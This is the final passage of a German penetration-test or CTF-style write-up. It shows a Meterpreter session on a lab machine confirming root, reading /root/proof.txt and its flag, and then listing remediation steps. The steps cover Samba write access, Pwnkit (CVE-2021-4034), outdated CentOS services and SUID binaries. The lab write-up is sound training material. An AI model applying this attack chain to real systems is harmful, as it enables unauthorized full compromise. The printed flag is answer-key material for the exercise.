Empfehlung (Pentester): Wechseln Sie zur neuen Sitzung (Session 4) und überprüfen Sie die Rechte.
Empfehlung (Admin):** Dringend Polkit patchen (CVE-2021-4034).

Schritt 2: Bestätigung der Root-Rechte und Flaggen-Sammlung

meterpreter > getuid
Server username: root
meterpreter > shell
Process 12631 created.
Channel 1 created.
                     
# id
uid=0(root) gid=0(root) groups=0(root),1000(smbuser)
# cd /root
# ls
proof.txt
# cat proof.txt
    _______ __    _____                                       _____
   / ____(_) /__ / ___/___  ______   _____  _____            |__  /
  / /_  / / / _ \\__ \/ _ \/ ___/ | / / _ \/ ___/  ______     /_ <
 / __/ / / /  __/__/ /  __/ /   | |/ /  __/ /     /_____/   ___/ /
/_/   /_/_/\___/____/\___/_/    |___/\___/_/               /____/

flag : 7be300997079eaebcdf9975ede6746e9
                    

Analyse: In der neuen Meterpreter-Sitzung wird `getuid` ausgeführt, was "root" zurückgibt. Eine System-Shell wird geöffnet, `id` bestätigt Root-Rechte. Im `/root`-Verzeichnis wird `proof.txt` gefunden und gelesen.

Bewertung: **Privilegienerweiterung erfolgreich!** Die Root-Flagge `7be300997079eaebcdf9975ede6746e9` wurde gefunden.

Empfehlung (Pentester): Suchen Sie die User-Flagge (vermutlich in `/home/smbuser` oder `/home/bla`). Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion bezüglich der Flagge.

Risikobewertung:** Die Kombination aus unsicheren Samba-Berechtigungen (anonym beschreibbar), die das Platzieren eines SSH-Schlüssels erlaubten (ggf. unter Mithilfe von ProFTPD-Features), und einer ungepatchten Pwnkit-Schwachstelle (CVE-2021-4034) stellt ein kritisches Risiko dar und ermöglichte die vollständige Systemkompromittierung.

Empfehlungen (Zusammenfassung):**

  • **Dringend:** Patchen Sie Polkit (CVE-2021-4034).
  • **Dringend:** Entfernen Sie anonyme Schreibrechte von Samba-Shares. Deaktivieren Sie Gastzugriff.
  • **Dringend:** Aktualisieren Sie das Betriebssystem (CentOS 7 ist EOL) und alle Dienste (vsftpd, ProFTPD, OpenSSH, Apache, Samba).
  • Deaktivieren Sie anonymen FTP-Zugang.
  • Sichern Sie ProFTPD (SITE-Befehle).
  • Sichern Sie NFS-Freigaben.
  • Verwenden Sie starke Passphrasen für SSH-Schlüssel.
  • Entfernen Sie das SUID-Bit von `runme`/`esclate`.

Flags

cat /home/smbuser/user.txt ???
USER_FLAG_WERT (Nicht im Log gefunden)
cat /root/proof.txt
flag : 7be300997079eaebcdf9975ede6746e9